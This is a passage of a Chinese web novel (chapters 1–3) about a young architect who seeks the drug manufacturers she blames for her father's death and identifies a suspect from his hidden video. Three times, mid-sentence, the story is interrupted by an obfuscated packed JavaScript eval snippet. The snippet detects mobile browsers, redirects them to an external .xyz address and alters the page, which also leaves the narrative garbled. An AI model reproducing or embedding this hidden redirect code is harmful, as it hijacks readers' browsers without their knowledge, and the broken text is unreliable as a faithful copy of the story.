《绿野之莺》 1. 第 1 章 绿野之莺 文/桃苏子 2025.1.16晋江文学城独家发表 - 三月怀城,雨水多到落不尽似的,雾霭蒙着灰沉沉的天空,一切都如同梁然这几天的心情。 她不明白。 为什么死的是她爸爸。 为什么梁幸均什么都没有做错,得癌的却是他? 就因为他喝着被制毒污染过的水源? 凭什么现在躺在医院里治疗的是她妹妹。那些制毒的人却可以人去楼空,逍遥法外。 凭什么? 病房寂静,梁悦从熟睡里醒来,十五岁的女生面对最亲的人,表达的担心都写在眼睛里,视线落在梁然身上。 “姐……”她握住梁然的手,细白的手背上还插着置留针。 梁悦是想问梁然,眼睛红红的,是不是哭过啊。只是梁悦一向很听话,就这样安静地搭着梁然的手,很乖地抿起唇。 梁然笑了笑,问:“还疼吗?” 梁悦摇头。 “你想吃什么?我去买。” 梁悦说不饿。 “悦悦今天很厉害呀,气色都好多了。” 梁悦翘起唇角。 她们都明白这是彼此强撑起来的安慰。 一张试卷整齐地叠放在床头,梁悦转头看见。 梁然捕捉到梁悦的失神,拿过那份初三数学模拟卷:“你们班长送来的,要做吗?” 梁悦点头。 梁然将床升起高度,展开小桌板,铺好试卷,拿来笔和草稿纸。 房门外映入高大的身影,是林甄与他的搭档。 梁然望去:“我出去一下。” 梁悦点点头,朝林甄他们打招呼喊一声哥哥,继续低头做题。 梁然来到走廊的尽头。 窗外,倾覆的阴雨肆无忌惮吞噬着整座城市。 林甄说:“今天也在你家找过,依旧没有新线索。梁然,你家这边就到这里吧,一切交给我们。” 梁然沉默。 从梁幸均查出癌症,就更确信附近的颜料厂有问题。他与同样患癌的邻居去过颜料厂附近,企图寻找与制毒有关的证据。 梁然很确信,依照她爸爸做事谨慎的性格,肯定会留下些东西。 可禁毒大队这几天查遍了,她也找过无数遍,梁幸均郊区那座院子和市中心几处房产依旧没有关于那家颜料厂的证据。 漫长的沉默被窗外淅沥的雨声替代,所掠的风都这样寒冷砭骨。 软薄的羊绒毛衣不足以抵挡这股冰冷潮湿的风。 梁然抱了抱手臂,抬起眼:“那家颜料厂搬到哪去了,嫌疑人还是没抓到?” “抓到几个,但是无关紧要的成员。” “能告诉我他们搬到哪去了吗?” 林甄抿唇,没有回答。 “我作为受害人的家属,有权利知道吧。” “案情重大,抱歉。” 梁然眼里的光一寸寸黯淡。 但她仍有一股执着。 “对我也不能说吗?” 林甄漆黑的眼矛盾却坚决,警察的职责所在。 但对梁然,他一向有职业以外的妥协。 他跟搭档招呼:“你先去,叫陆明开我车来,我稍后到。” 他的搭档跟梁然道别,梁然礼貌地点了下头。 林甄目光落在梁然身上,带着显而可见的松懈与同情。 梁然知道,感情上他还是没有变。 如同她爸爸那座院中的洋槐树,在画板与水彩下四季更替,回首却依旧伫立在那一隅原地。 应该算是青梅竹马吧,她与林甄。 大二时,她的确因为林甄热烈的表白和警校生的光环心动过。 可同样都是学生,她后来才清楚地明白警校生与普通大学生的差别。 他没有时间,她也受不了他们警校严格的管理,一学期才能见一面。 甚至在他毕业入职警局后,时间依旧不属于他们。 梁然受不了每次约会时,随时被电话支配走的林甄。 也不知道是谁传出去她的男朋友警校毕业,是禁毒警察。 那天怀城的大雨从傍晚下到第二天清晨,她在学校后山的树上被绳索捆吊了十六个小时。 勒破的双腕伤口泡在雨水下,分秒不休的疼痛砭骨而颤抖,麻木到没有知觉的双臂似乎随时都会从肩胛处断裂。 冰冷雨水、昏暗天地都彻底覆灭梁然所有的希望,包括那段原本就已经有了裂痕的感情。 被救下来后,梁然发烧三天,梦里也是绑她的男生那些恶毒的诅咒。 她实在忘不了磕过药的男生那种神智错乱间的变态。 林甄那天终于有了假,可以在病房里守着她一整夜。 他不停跟她说对不起。 梁然很疲惫地说“我们还是分手吧”。 她不是因为那件事怪林甄,他没有错。 只是他们不适合。 是她自己做不到享受警察男友光环的同时,与风险共担。 初恋好像没持续太久,也没带给她多大浪漫和喜悦。相反,给她的全是担惊受怕的惊吓。很长又很短暂的感情就这样被现实打败了。 雨声渐小,窗外的阴雨有停的趋势。 林甄嗓音有了松动:“那群人已经撤离云村,但仍在市内。虽然没有确切的消息,但这案子可能牵扯到省厅一项专案,我们市局都受上面管派,能做的尽力了。” “在市内?有具体位置吗?”梁然抓住重点。 “你想做什么?” 林甄有些警告的意味:“梁然,他们可是毒贩,这是你插手不了的,你别随着性子来。” “从梁叔去世到局里查封那家颜料厂,他们没有怀疑到梁叔身上,也不会牵扯到你与小悦。我希望你该怎么生活就怎么生活,不要再管了。” 林甄说:“相信我。” 梁然有想过,要亲手找到证据把那些人送进监狱。 但这段时间见识过那些人的狡诈,证据显然没有她想象的容易。 她双眼黯淡,无声地垂下头,抱紧被风吹得有些冷的手臂。 林甄与她回到病房。 梁悦做题认真,有一点被打扰的挫顿,但良好的教养让梁悦礼貌地停下笔。 梁然看出来,便说:“我回家取下电脑,让阿姨先陪你。” 梁悦说好,叮嘱她记得带伞。 保姆张姨要送梁然。 林甄让张姨留下,对梁然说:“我送你。” 梁然与他一起来到停车场。 林甄打开副驾驶车门,渐小的雨势极似缥缈的丝线,城市雾气重重。她坐上车,林甄细心地为她关车门。 如果没有这次的事,梁然与他应该也不会再有这些交集。 安静的车厢倒衬托得林甄的侧目打量明显起来。 “怀城春天常下雨,你几年没回来都忘了这边气候了吧,应该穿厚一点的外套。” 梁然穿着一件薄薄的羊绒毛衣,裙子也是软薄的纱裙。 从大二那年被那个神志不清的吸毒男生报复后,短暂的初恋熄灭在那一年,她的学业也中断在那年,很快便办理留学转到了美国。为了防止那群吸毒的人再报复,梁幸均还费了功夫为梁然改成了现在的名字,抹掉了她以前的很多痕迹。梁然有很长一段时间没再回过南城,即便是过年也是梁幸均带着梁悦飞到国外和她团聚。家里不常住了,连衣柜也像是被清空了,最近也是随便穿的以前的衣服。 她只是说起:“这几天我爸爸的事麻烦你了。” “我职责所在,而且我也没帮到什么。我爸妈也很担心你。”林甄担忧地看一眼梁然,紧握方向盘,“他们说你有时间的话,希望你到他们那吃个饭,要是工作太忙,他们可以帮忙照顾小悦。” 他微顿,像是怕她多想,额外补充:“我很少回去,不会在家。” 他们两家从爷爷辈便是旧交。 梁然抿了抿唇,礼貌地说:“帮我谢过叔叔阿姨。” 两人一时间都没再说话。 安静中,林甄接到两个工作电话,对讲里也有搭档余青的声音,在说一个案子抓捕的情况。 林甄握着对讲:“需要我过来么?” 余青应该想到他这样问便是不方便:“叫陆明吧,你先忙你的。” 梁然说:“你把我放下来吧,我叫个车。” “没关系,他们人手够。” 梁然不愿耽误他:“我叫车很方便。” 林甄没听她的,照常按路线行驶,梁然不好再拒绝。 挡风玻璃敲下细密的雨点,这场无休止的阴雨又急落起来。 梁然却按下车窗,沁凉的风拂过脸颊,她安静地看后视镜被雨滴一颗颗覆住,清晰镜面模糊得辨不清城市的面目。 梁幸均好无辜。 他是个豁达又浪漫的人,喜欢那边村子的风景,这些年都住在那里安心搞创作。 他的癌症不是意外,那家偷偷摸摸的颜料厂完全该死,他们在河流中处理了大批高浓度的化学废水。 雨在短短两分钟里越下越大。 梁然升上车窗。 “小真。”林甄叫了梁然从前的名字,梁真。他有些停顿,张了张唇,“这些年你……” 他突然被对讲里余青紧急的声音打断:“嫌疑人进了华南路的烂尾楼,谁离最近?” “我这边近。”林甄忙答。 “方便吗?” 林甄说:“方便。” 林甄结束对讲,看向梁然,开口想说抱歉之类的话。 梁然已经举起手机:“我叫车了,抓坏人要紧,你快去。” 他的目光满是歉意,将车停在路边,探身去拿后座的雨伞。 梁然接过,打开车门。 “小真。” 梁然才刚探出去半个身子,闻声将头转回车厢。 林甄目光深邃:“这个案子结束后我会调个新的岗位,我爸妈也希望我从禁毒大队出来。” 梁然笑了下:“挺好的,禁毒本来也危险。” 半开的车门,雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925264|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势疾落下来,浸透进裙子,一团沁凉从小腿皮肤蔓延开。 梁然忍着这股冷意,半开的雨伞撑在车顶,希望避开林甄的视线,也希望他快些结束对话。 “我们……”他的话终究变成:“你会留在怀城吗?” “南城还有工作室,我不能让我搭档等太久。” 虽然她也不确定工作走向,但他应该能听明白她的语意。 她始终维系着周全的礼貌。 林甄只得僵硬地笑了下:“路上小心,到家了说一声。” 梁然说好,全撑起伞骨,拎上包踩下车。 只是林甄这台车似乎在抓捕中多有剐蹭,梁然清晰地感知着冰冷薄刃划破脚踝皮肤,疼痛倏然涌上,薄薄的透明丝袜贴着皮肤崩开。 她撑着伞,站定在雨中朝林甄说“拜拜”,看到副驾驶那被磨得薄薄的侧脚踏板。 忍着疼等林甄开远,梁然低头掀开裙摆,脚踝那里已经有血流下来,透明丝袜被染红一块。 叫的车预计还有七分钟才到达。 担心雨水会溅到伤口,梁然想先去处理一下。 她在地图上找到最近的一家药房。 穿过浓稠的雨幕,梁然在药房门口稍微停下,将黑色长柄伞放到门口挂伞的收纳架上。 店员找了碘酒和消炎药,拿到柜台结算后帮梁然包扎。 梁然坐在胶凳上,微微弯腰,徒手撕开透明丝袜。 快车司机在这时给她打来电话,说已经到了地方,没看见她人。 梁然请那头等她几分钟。 店员的手法细致,叮嘱梁然伤口还有点深,一定不要沾水。 她这边刚包好伤口,司机的电话又打来了。 “麻烦你快点,我都停两分钟了,被罚了怎么办!” 梁然说着“不好意思”,这样的催促如果在从前定然是她抱歉在前。可她这段时间忙着梁幸均的葬礼与梁悦住院的事,身体和心情都很糟糕。 越下越大的暴雨与电话那头司机不耐烦的催促,世界的尽头在这一瞬,仿佛都与这天色一同晦暗下去。 梁然微冷的声音打断司机:“违停了算我头上。” 可能是察觉出她的语气有些生气了,那头司机才没再催,但还是有些不爽地说“请你快点”。 梁然收起手机,接过店员递来的药,垂头按开包包按扣正要放进去,便也没有瞧见门口闯进来的修长身影。 与之毫无预料的一撞。 痛觉在前额弥漫开,梁然有一瞬间的失聪。 大脑嗡嗡的叫声应该在提醒她最近的睡眠严重不足了。 袋子倒还拎在梁然手上,可棉签与两瓶药都掉在了地板上。 白色棉签头沾上雨天地板上的脚印与水渍,顷刻吸饱了水,变成浅淡的褐色。 好糟糕。 这一切。 梁然还没有抬头去看被她撞到的人。 视线里完全被这些凌乱、污杂占据。之后才看到一双灰色的运动鞋,鞋头浸了这雨天的水渍,像蔓开了一团阴云。 她的心情忽然就是这散乱的一地棉签。 糟糕透顶,失去面目。 抬起头时,梁然多少有点意外这人的腿,那是一双笔直又修长的腿,过于完美的标准比例。 她撞到的是个男人,准确点是个青年,很高,气质有一些不同,身上有股说不清的气场。 青年戴着黑色口罩,梁然看不清他的脸,只觉得他一双眼有些薄凉。 因为从小与艺术打交道,梁然习惯去具象化美好的事物,她只觉得青年的一双眼很像一场盛大的冰雪天。 他的脖子上戴着条项链,链条折射出冷调的银色光泽,却让梁然觉得跟他的气质不太相称,总有一种欲盖弥彰的神秘。 察觉到梁然的打量,他也抬眸迎上她的视线,幽邃的眼眸深不可探。 很奇怪地,梁然明明看不见对方的脸,但却觉得周遭跟着他阴云密布起来,他把这天地凉意都携裹进来了。 也许因为他也进来得急,那股强势的力量确实将她撞到,梁然便短暂忘记应该谁先道歉。 这静寂不过几秒,青年从她脸上挪开眼,口罩后的声音低沉,卷裹着一种雨天的冷冽说:“抱歉。” 他弯腰去捡地板上的药。 梁然后退一步,也蹲下去捡滚到货架下的那瓶碘酒。 店员在解围,说着都怪天气,弯腰来收拾满地的棉签。一边对梁然说都不能再用了,一边问男人需要什么。 “线上下单的药,姓沈。”男人低沉回应。 店员有印象,长长“哦”一声,起身去拿。 梁然望着地板上还没捡干净的棉签,刚想麻烦店员处理一下,店员便朝她说:“没关系我来收拾,你等等,我这有临期的棉签送你一包,我找一下。” 梁然说不用了。 青年接过店员递来的袋子,从中拿出一包棉签放进她袋子里。 他什么都没说,转身走向大门,撑起黑伞穿进雨中。 修长的背影与阴郁天色融得那么契合。 2. 第 2 章 这包棉签像是将梁然拉回理智的现实。 她忽略了对方的歉意,连同忽略刚才他递过棉签时骨节匀称的修长手指,他的手指很漂亮。那明明是她曾经每次画画时,都遗憾数遍遇不到的完美的掌指形状。 她还活在梁幸均离开的痛苦里,忽略了太多,也失去了太多理智。 走到门口,从架子上拿起伞时,梁然下意识留意。 这不是她的伞。 虽然都是极似的长柄黑伞,但不是她那把,她那把伞骨刻有梁幸均画室的LOGO。 雨幕里,青年已经迈下台阶,穿向广场。 大雨溅落地面,这道修长卓立的背影有一种被雾霭包围的孤勇。 梁然撑开手上的黑伞,快步穿进雨中。 “等一下……” 青年回过头,清冷视线穿过雨帘停留在她身上,确定梁然是在叫他,他有些意外和戒备。 梁然追到他身前:“你拿错伞了。” 她握到伞骨处:“你手上那把是我的,不好意思。” 青年垂眸,视线极淡地扫过激光LOGO。 梁幸均有着一种独行的审美,不喜欢将LOGO印到伞面等一切明显的地方,他更喜欢将这些灵巧的心思藏在不经意处,最大保留物体原本的美感与实用性。 不过一把伞而已,却因为是梁幸均的东西,梁然不想失去。 青年说了一声抱歉。 将伞倾向她。 梁然愣住,因为他半个肩膀已经落在雨中,雨点从他眉角滴落进了口罩。 梁然连忙踮脚将伞也偏向他。 他来接住,手指触碰到她无名指,留下雨天里唯一的一点温热。 梁然没有完全松开伞柄,因为看到手指上的一抹靛青色与玫瑰红。交织的两道颜色正顺着伞骨流下,沾到了她与他手上。 原来他的伞上有颜料。 她松开手,接下自己的伞:“你是学画的?” 他未答,用一种不解的视线回应。 梁然眼神示意他,他那把伞骨上滴淌下来的颜料。 风雨汹涌,他眼底是波澜不惊的晦静。 梁然明白了,他没必要回答她的问题。 她似乎有些唐突,为刚才的相撞与此刻大雨中他的礼貌。 “刚才不好意思,谢谢你的棉签。” “不客气。” 他撑着伞,转身,利落消失在雨天里。 …… 停靠在路边的快车打着双闪,橙黄灯光在这阴冷的雨天,恰似一团带着温度的星火。 梁然坐上车,收好伞。 中年司机的不耐烦在隐忍下慢吞吞地抑制着。 梁然说:“不好意思师傅,让你久等了。” 后座皮套上有意见簿与绑着线的签字笔,梁然写下串数字。 “如果后面被拍到了你就加这个微信联系我吧,谢谢你等这么久。” 这倒让司机有些不好意思了,语气也宽和下来:“没事,就等了几分钟。” “观澜山是吧,您坐好。” 这一路都是大雨,但司机与梁然有一搭没一搭地闲聊,梁然也偶尔回应,交谈声盖过了窗外没有温度的雨声。 这冰冷潮湿的三月天,好像忽然没有那么糟糕了。 回到家,梁然将伞撑放在阳台,走去衣帽间换了套衣服,正好接到林甄的电话。 他说着抱歉,没有将她送到家。 梁然答着没关系,隔着周全的礼数。 装好笔记本,梁然泡了一杯白毫银针。 等水温下降的时刻,梁悦打来电话,问她到没到家,又让她就留在家里休息。 “雨太大了,姐,你先别过来了,张姨陪着我呢。”梁悦笑:“班长拿来的卷子还有语文,我还想多做点题。” 梁然明白,梁悦是想让她多休息。 她这一个星期都没有睡过长觉。 “好,那你做题吧,我晚点过来。” “等你来我估计都睡了,张姨和护工阿姨都在,你明天再来吧。” 梁然抿起唇,与梁悦会心一笑:“听你的行了吧。” 挂了电话,茶水的温度刚刚好。 梁然从前不爱喝茶,每次回家陪梁幸均时才喝。 她爸爸儒雅温和,爱画画,爱白茶,爱偏远云村闲适的山水。 他喜欢云村那个地方的清静,一住就是好多年。 梁悦住校,周末回家有住家阿姨照顾,梁幸辉便在寒暑假回来陪梁悦,云村是他常年的住所。 梁然毕业后就没有再回怀城,梁幸均查出癌症后就想去调查那家颜料厂,当然不可能告诉梁然让她担心。 梁幸均也举报过颜料厂,但监管部门来后查无所获。 他抢救无效死亡那天,梁悦在滑轮赛上接到电话,直接冲出赛场与车流撞到一起。腿部严重的骨折刚做完手术,至少需要半年的恢复期。 杯中的热茶一点点暖了身体。 梁然第一次尝到清澈茶汤中的甘甜。 她为什么从前品不出来茶香茶味?而现在,茶案的那一头,再也没有那道嗜茶的身影了。 回到卧室,梁然睡了一觉,却做了一场噩梦。 梦里梁幸均闯进颜料厂,被凶狠的一群人围住。 她醒在梁幸均退无可退的瞬间。 睁开眼,窗外是浓稠的夜色,手机显示才九点。 梁然大口地喘气,失魂落魄,很久才下床。 补进的睡眠并没有养好她的精神,身体与神经还是很疲惫很倦。 恹恹靸着拖鞋,梁然来到梁幸均的书房。 书籍与墙上的名家画作在灯下清晰呈现,她安静凝望很久,还是不想这样放弃,又翻找起来。 她总觉得梁幸均会留下一些证据,那是她所了解的爸爸的性格。 可一通翻找,依然一无所获。 梁然疲惫地仰倒在椅子上,脑海中倏然闪过一个念头,如同窗外雨声的清脆。 她起身,很焦急地奔上二楼。 她冲到她的画室,打开书柜,爬楼的急促令她喘着气,她的目光落在一个保险箱上。 她忽略了这里。 这是梁幸均给她买的保险柜,那时梁悦还小,她总怕梁悦扯坏她那些画。 梁幸均便抱来这个保险柜,笑着说够她放那些宝贵的大作了。 梁然一动不动注视着密码锁,按下数字。 柜门弹开,她不敢呼吸。 黑胡桃木的架子上,横放着梁幸均的日记本与一台相机。 梁然紧张地屏住呼吸,拿起日记本。 再一次看到熟悉的笔迹,梁然依旧会忍不住流眼泪。 …… 梁幸均在日记里写到,他写生时发现一条被污染的河,顺着源头排查,最后锁定了云朵颜料厂,发现那里的几处异常。 后面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925265|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几篇日记详细记录了这些问题。 梁然颤抖着手打开相机。 不是他爸爸常用那台长焦单反,倒是她妈妈以前用来拍人像的微型相机。 相册开头便是一条视频。 随着她手指按下播放,梁幸均的脸出现在画面中,头顶是晴朗蓝天和茂密的树叶,他身处在一片树林里。 他调试起相机,画面随着他的步伐而抖动。 然后他将相机固定在了什么地方,应该拿了遮挡物藏起相机,画面四角晕开浅淡的暗影。 很快,他端起常用的那台长焦单反爬到围墙架着的梯子上,对着墙里的颜料厂拍录起来。 画面变动不大,梁幸均始终保持着小心谨慎,会不时低下头躲一躲。 时长11分钟时,视频里突然响起一段极轻的脚步声,一点点逼近,沉重的步调碾过落叶枯枝。 一道修长的男性背影出现在干净的画面上,面朝梯子上的梁幸均。 梁幸均也发现了动静,回过头。 “你什么人,在这干什么?”男人的嗓音很沉,带着金属质感的冷调。 梁幸均从梯子上下来:“我做短视频的,嘿嘿,一天什么都拍,就是单纯好奇颜料怎么做……”慌乱之中,赔着笑脸的梁幸均做着憋足的解释。 梁然的心脏疯狂跳动,像是被一把尖刀抵着。 男人伸出手掌:“拿来。” 没有再听梁幸均的解释,他夺过相机,取走SD卡。 就在梁然害怕他要怎么伤害梁幸均时,他嗓音冷漠:“商业机密是你能窃取的,滚。” 掩耳盗铃。 但好在梁幸均拿着单反真的安全离开了。 画面并没有停止,是梁幸均悄悄藏的这台相机还没有被男人发现。 男人在这时转过身,他的表情冷静得不像普通人,眼神落在SD卡上,很利落地毁掉了芯片。 他扫了眼四周离开了。 那张脸也在隐藏的镜头下拉近,放大,又至消失。 梁然不想用英俊去形容一个犯罪者。 可他的五官生得太正,带着一种攻击十足的英隽,身材很是修长,整个人完美到像建模,外表实在太出色。 他很年轻,用男人称呼太偏成熟的腻气,应该用青年形容。 一个犯罪者,身上有一股亦正亦邪的气场,也许是他惯用的伪装。 仿佛这不是一个铁证如山的视频,而是好天气下哪家新生代的高颜值偶像轻松的试镜。 画面过去了十几分钟,梁幸均回来取走了这台相机,蓝天与绿林在屏幕里抖动着,又都熄灭在黑屏下…… 梁然如同亲历一场隐伏,浑身生出潮湿的汗。 这是证据。 虽然没有制毒的发现,但至少这男的的模样可以被纳入侦查的范围吧! 忽然间,梁然屏住了呼吸。 她的视线停留在男人骨节修长的双手上,这双手好像太过漂亮了,漂亮到像白天刚刚见过一样。 她倒退画面,将视频进度条拉到男人折转回的脸上。 暂停,放大。 她用手指遮住他鼻梁以下的脸。 暴雨敲打着窗户,空气里弥漫起潮湿的冷气。 一种惊悚的感觉从后背窜起来,让梁然整个心脏都仿佛停止了颤动。 被遮住半张脸的男人展露着那双波澜不惊的眼睛——分明就是她今天在药房里撞到的那个青年! 3. 第 3 章 深夜的警局里,负责颜料厂案件的警察接见完梁然,林甄也递上一杯热水给她。 梁然紧握着杯子,滚烫的暖意才提醒她浑身原来这么冷。 “这个人肯定就在市内!顺着药房那一带的监控就能查出他去向。” “我爸爸在日记里多次提到刺鼻的气味,和那厂子附近进出的神秘车辆,他们还随身挂着望远镜,这绝对不正常……你们可以顺着这个车牌号查……” 林甄的上级打断了梁然,语气稳重:“我们知道,辛苦你提供这些线索,太晚了,你先回去吧。”他示意林甄送她。 梁然还想再听听他们的安排,但对方已经背过身整理这些证据。 梁然知道他们很忙,只能说:“陈队,拜托您了。我爸爸才四十九岁,他身体很健康,待人很友善。他真的很无辜!” 林甄将她送到门口:“你开车来的?” 梁然点了下头。 他有些为难的神色。 梁然最近的状态不适合开车,一周前才追过尾,刚才是着急想把证据送过来,但林甄今晚又在值班。 “那我去请个假送你回去。” “不用,我可以。” 梁然抬起头,眼里终于有了坚持下去的光:“那几个视频都是我爸爸冒着危险拍到的,希望对你们有帮助。我今天遇到的那个男的是在长乐东路的药房,监控一定可以查到他!” “我回去就打电话叫我搭档。梁然,这个人我一定会为你抓到。” …… 梁然在第二天一早就接到林甄的电话,他果真抓到这个人了。 他当夜就去片区派出所调查所有监控,凌晨时带着几个同事在一间酒店里抓捕到这名疑犯。 嫌疑人叫沈宗野。 25岁。 被抓捕时,他正睡在酒店豪华套的主卧,次卧和会客厅里睡着三个青年。四个人都还很懵,林甄要带走沈宗野时其余三个还想反抗。 沈宗野睡意惺忪,慵懒披着浴袍,听到林甄的来意竟然很是配合,十分的镇静。 目前人已经在进行第一轮审讯。 梁然紧握着手机,这是她这段时间听到的最好的消息。 林甄语气也带着一点松快:“等下跟你聊进度,我先去审讯。” 连日以来的痛苦和疲惫终于在这一瞬间得到缓解,梁然终于有了高兴的情绪。 林甄隔几个小时会向她汇报一次审讯进度。 “嘴硬得很,不承认。” 又过了几个小时,林甄说还是不认。 “但你放心,陈队审讯有一套。” 梁然紧张等着消息。 林甄再打来电话时却有些挫败的情绪。 他说副局知道后很生气,要他们审不出来就放人。 “梁然,这人可能跟省厅的专案有关联,他应该是特意留着没抓的饵。最近省厅有个大案子,我们这边还没消息,如果真是这种情况,现在要是被我们打乱了,可能整个支队都得受批评了……” 梁然不明白:“那现在怎么办?就算他是饵那也是罪犯啊,他不可能是好人!” “已经抓了,我会把他审出来。”电话那头,林甄深吸着气。 梁然没有再等到林甄的电话,傍晚时打过去林甄也没有接。 病房窗外,夜色乌沉沉地倾轧着城市,夜越深,梁然的心越沉。 时间一分一秒过去。 不知道是胜利的倒计时还是失败的审判。 从医院回到家,梁然也不想睡,一直等到凌晨。 因为她妈妈的喜欢,梁幸均在别墅的花园里种下很多月季。三月不是龙沙宝石盛放的季节,爬藤上只吐出嫩绿的新芽,无数延长的绿色藤蔓是周遭唯一旺盛的生命力。 凌晨的晚风带着潮湿凉意,终于同林甄电话里的声音一起,冰冷地席卷向梁然。 “抱歉,梁然,人已经放了……” 过了24小时的询问查证时间,警局没办法再扣下沈宗野。 他无罪释放,从始至终一点也不怪被误会,那张英俊的脸甚至还带着笑,说理解人民公仆。 林甄能怎么办,和几个同事送他走时,嘴上还要感谢他的配合。 “他证实自己只是一名进货商,经营一家颜料网店为生,不知道那里原来有人在制毒。关于梁叔的视频,他解释当时看到了就以为是同行来捣乱……” 云朵颜料厂欠沈宗野一批颜料,他已经给了几万定金。被审讯时,他还很生气也很诚恳地表明会积极配合他们,请警局早日把逃走的人都抓回来,要回他那好几万的定金。 梁然几乎被气得失去理智:“他反咬一口!” “难道他这么说你们就这么信吗?” “他有进货的凭证,有他正经做生意的证明。最重要的,被抓到的几个员工也证明他只是去那里进颜料,跟他们的毒/品生意没关系。” 梁然握着手机的指节泛着白,升起的希望像是被强制粉碎。 林甄说人已经放走了,没有证据就不能再扣押。 他安慰梁然:“如果他真的犯了罪,那就是特意没抓的饵,总会落网。小真,放下吧,你好好生活。” 梁然张了张唇,终究只能说:“谢谢。” “你……”听筒那头,林甄语气有些担忧,“如果睡不着,我来看看你?” “这么晚了,你先休息吧。我没事,这次你辛苦了。” 通话结束,梁然的世界陷入一片死寂。 浓稠的夜色吞噬掉她仅有的希望。 踏进花园,梁然偏头靠在秋千椅上。 晚风吹得凉,她拢紧随手披的羊绒大衣,紧紧裹住发冷的脖子。 时间好像因为难熬而过得更慢了,凌晨的夜格外静,墙角鸽子形状的灯亮着,照着秋千椅上一点一点埋向膝盖里的影子。 …… 梁悦出院这天,梁然开车带她去墓地看梁幸均。 梁悦坐在轮椅上,想哭,但又不敢哭出声,怕让梁然也难过。 距离梁幸均去世只有二十天。 二十天,物是人非。 梁然的手放在梁悦肩膀上,就这样安静地望着梁幸均的照片,旁边是她妈妈沈茹的墓。 “姐,爸爸妈妈在一起了吗?” 梁然“嗯”了声。 “那他们会来我梦里看我吗?” “会的。” 梁悦再也忍不住哭出声来,十五岁的人做不到像梁然这样藏起悲伤。 好久之后,梁悦停下哭泣,望着照片上的梁幸均,干净的声音第一次有了憎恨:“爸爸,你要保佑坏人早点被抓到!让他们早点判死刑!” 梁然握在梁悦轮椅上的手一点一点变得僵紧。 松柏的枝叶在风里沙沙响,听来总像遥远时空里的回应。 …… 好像所有的悲伤都被安放起来,逼着人妥善地走上正常的轨道。 梁然帮梁悦请好了家庭教师,梁悦每天还需要回医院做康复治疗,暂时不能返校。 梁幸均是一名建筑设计师,他生前签过的设计作品有六个。梁然暂停了南城她自己的工作,几座城市奔走,和梁幸均的甲方沟通后续事宜。 能退款的她都做了退款与赔偿。跟她爸爸常年合作的几个老客户已经处成了朋友,有人不需要她的赔款,但也有人很难缠。 甲方办公室里。 梁然面前的茶水凉到没有一丝热气。 对方副总的言辞算不得冷漠,但态度很坚决:“梁小姐,你大概不清楚,我帮你捋一捋。” “当初你父亲承诺会在三个月内完成我们的庭院设计,并全程参与到建设中。但现在距离交付时间只剩一个月,那图纸我看了一半,董事层面也都很满意,我们的宣传广告都已经按图纸风格发出去了,你不可能让我司来收拾你父亲留下的烂摊子吧?” 在处理问题上,梁然有着和她年龄不符的沉稳。她的确是违约方,可她的歉意并不是无底线。 她冷静地应对:“我知道,我的确很抱歉,如果您信任我的能力,我愿意接替我爸爸来完成接下来的工作。我也是学的建筑设计,这是我的名片……” “就算你毕业于美国的建筑学院,也不能完全保证能吃下我们的项目。”对方毫不客气地打断梁然,“据我所知,梁小姐去年才刚毕业。” 梁然坦然地笑了下。 她才24岁,年轻的确可以呈现出一些不够被人信任的表象。 梁然并不着急解释,只是把桌上的iPad推到对方手边。 她的名片也足够“特别”的,电子版的卡片设计简练,点进案例能看到她参与的设计,落地建成的作品。 从实习到创业,从美国到中国…… 以前梁然会介意梁幸均暗中为她介绍人脉,可现在她会感激最初阶段无人问津的时期靠到了爸爸的人脉。她已经拥有许多落地作品,除了不见名气,在实力上已经远是一名成熟的建筑设计师。 对方看完,那股怒火清晰可见地熄灭下去,再抬起头,已经能在梁然的等待里缓和下来与她冷静交流。 这些落地作品足矣胜过言语的解释。 …… 一个月的时间。 梁然按期完成了甲方的设计,配合一些严苛的修改,跟非专业的对方沟通专业的理论建构,也算成功推进了设计交付。 四月的怀城气候逐渐变暖,梁悦已经可以借拐杖练习走路了,生活好像慢慢步上正轨。 甲方的二期在北方,一个月后开工,依城傍水的好地段,主造仿宋朝园林的高端酒店餐饮商务会所。动工之后,甲方要求梁然要亲自到施工现场把关。 期间她回了一趟南城,处理工作室的一些事情。 大二那年被吸毒的男生绑架后,梁然就转到了美国攻读建筑设计。跟她合伙的乔思嘉是她的大学同学兼室友,两个人不仅在性格上合得来,对事业也有一致看法,回国后一起创办了这家设计工作室。 因为名气不够,资质有限,接到的项目真的太少了,因此手里的每一个项目都很宝贵。 而这段时间发生的事情让梁然脱离工作太久,把乔思嘉一个人丢下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925266|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她已经很过意不去。 